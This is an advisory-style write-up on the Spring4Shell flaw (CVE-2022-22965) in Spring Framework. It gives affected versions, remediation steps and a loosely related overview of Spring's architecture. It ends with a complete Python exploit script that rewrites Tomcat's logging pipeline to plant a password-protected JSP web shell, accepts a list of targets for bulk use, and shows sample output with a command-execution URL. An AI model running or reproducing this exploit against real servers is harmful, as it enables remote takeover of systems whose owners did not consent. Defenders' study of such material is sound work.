Vulnerability Overview

CVE-2022-22965 is a critical remote code execution vulnerability affecting Spring Framework, widely known as "Spring4Shell". This security flaw enables adversaries to execute arbitrary code on vulnerable applications through specially crafted HTTP requests.

Technical Description

Spring Framework serves as a comprehensive open-source platform for enterprise Java application development. The vulnerability exists within Spring MVC and Spring WebFlux components, specifically targeting the class loading mechanism in JDK 9 and newer versions. Attackers can manipulate class property parameters through crafted requests to achieve arbitrary code execution.

Affected Versions

• Spring Framework 5.3.0 through 5.3.17
• Spring Framework 5.2.0 through 5.2.19

Web applications built with these Spring Framework versions remain vulnerable when exposed to untrusted network traffic.

Attack Vector

The exploitation pathway involves the following steps:

1. Malicious Request Construction: Attackers send HTTP requests containing manipulated class property values that target the Tomcat logging mechanism through class.module.classLoader.resources.context.parent.pipeline.first.* parameters.

2. Code Execution: The vulnerable server processes these requests and writes malicious JSP content to the web application directory, enabling remote command execution.

Exploitation Technique

The attack abuse Spring's data binding mechanism to modify Tomcat's access_log pipeline configuration. By injecting JSP code fragments into logging pattern parameters, attackers can create malicious web shell files.

Remediation Steps

1. Framework Upgrade

Apply the latest Spring Framework security patches immediately:

• Upgrade to Spring Framework 5.3.18 or later
• Upgrade to Spring Framework 5.2.20 or later

2. Configuration Hardening

Implement additional security controls:

• Avoid accepting class property parameters from external input sources
• Disable or restrict access to dangerous class attributes
• Apply strict input validation for all user-supplied data

3. Secure Development Practices

• Validate and sanitize all user inputs before processing
• Avoid directly using untrusted data in class property assignments
• Implement allowlist-based input validation

Spring Framework Architecture

Spring Framework provides comprehensive infrastructure support for Java application development, created by Rod Johnson and initially released in 2003.

Core Components

Dependency Injection (DI)

The IoC container manages object dependencies, reducing coupling and improving testability. This mechanism allows framework-controlled lifecycle management of application components.

Aspect-Oriented Programming (AOP) The AOP module enables separation of cross-cutting concerns such as logging, transaction management, and security without modifyign business logic.

Data Access Layer Spring provides unified data access abstractions supporting JDBC, ORM frameworks (Hibernate, JPA), and NoSQL daatbases with consistent transaction management.

Transaction Management Flexible transaction support includes both declarative and programmatic approaches, integrated seamlessly with data access components.

Web Layer - Spring MVC The Model-View-Controller implementation offers annotation-driven development, view resolution, form handling, and data binding for web applications.

RESTful Services Built-in REST support simplifies API development through controller annotations and request handling.

Security - Spring Security Comprehensive authentication and authorization with CSRF protection, encryption, and integration with LDAP, OAuth, and JWT.

Messaging Asynchronous communication support through JMS and AMQP integration for message-driven applications.

Spring Boot The Spring Boot subproject provides auto-configuration, embedded servers, and streamlined dependency management for rapid production-ready application development.

Ecosystem Overview

The Spring ecosystem encompasses numerous subprojects addressing various enterprise requirements:

• Spring Cloud: Microservices and cloud-native development
• Spring Data: Data access abstraction
• Spring Batch: Batch processing
• Spring Integration: Enterprise integration patterns

Proof of Concept Implementation

The following Python script demonstrates the vulnerability exploitation:

#!/usr/bin/env python3
import argparse
import requests
from urllib.parse import urljoin

def check_vulnerability(target_url):
    """Test target for CVE-2022-22965 vulnerability."""
    
    http_headers = {
        "suffix": "%>//",
        "c1": "Runtime",
        "c2": "<%",
        "DNT": "1",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    # Malicious payload targeting Tomcat logging pipeline
    exploit_payload = (
        "class.module.classLoader.resources.context.parent.pipeline.first"
        ".pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%22%20"
        "%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request."
        "getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5Db%20%3D%20"
        "new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
        "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
        "&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT"
        "&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar"
        "&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    )
    
    try:
        # Send exploitation request
        response = requests.post(
            target_url,
            headers=http_headers,
            data=exploit_payload,
            timeout=15,
            allow_redirects=False,
            verify=False
        )
        
        # Verify shell creation
        shell_path = urljoin(target_url, 'tomcatwar.jsp')
        verify_req = requests.get(
            shell_path,
            timeout=15,
            allow_redirects=False,
            verify=False
        )
        
        if verify_req.status_code == 200:
            return shell_path
            
    except requests.RequestException:
        pass
    
    return None

def main():
    """Command-line interface for vulnerability testing."""
    parser = argparse.ArgumentParser(
        description='CVE-2022-22965 Vulnerability Assessment Tool'
    )
    parser.add_argument('--url', help='Single target URL', required=False)
    parser.add_argument('--list', help='File containing target URLs', required=False)
    args = parser.parse_args()
    
    if args.url:
        result = check_vulnerability(args.url)
        if result:
            print(f"Exploitable - Shell available at: {result}?pwd=j&cmd=whoami")
        else:
            print("Target appears non-vulnerable")
    
    if args.list:
        with open(args.list, 'r') as f:
            for target in f.readlines():
                target = target.strip()
                if target:
                    result = check_vulnerability(target)
                    status = f"Vulnerable: {result}" if result else "Not vulnerable"
                    print(f"{target} - {status}")

if __name__ == '__main__':
    main()

Execution Example

$ python3 spring_exploit.py --url "http://target.example.com:8080/"
Exploitable - Shell available at: http://target.example.com:8080/tomcatwar.jsp?pwd=j&cmd=whoami

The script sends a POST request containing manipulated class loader parameters that cause Tomcat to write a JSP web shell to the webroot directory. Successful exploitation grants command execution capability through the created shell file.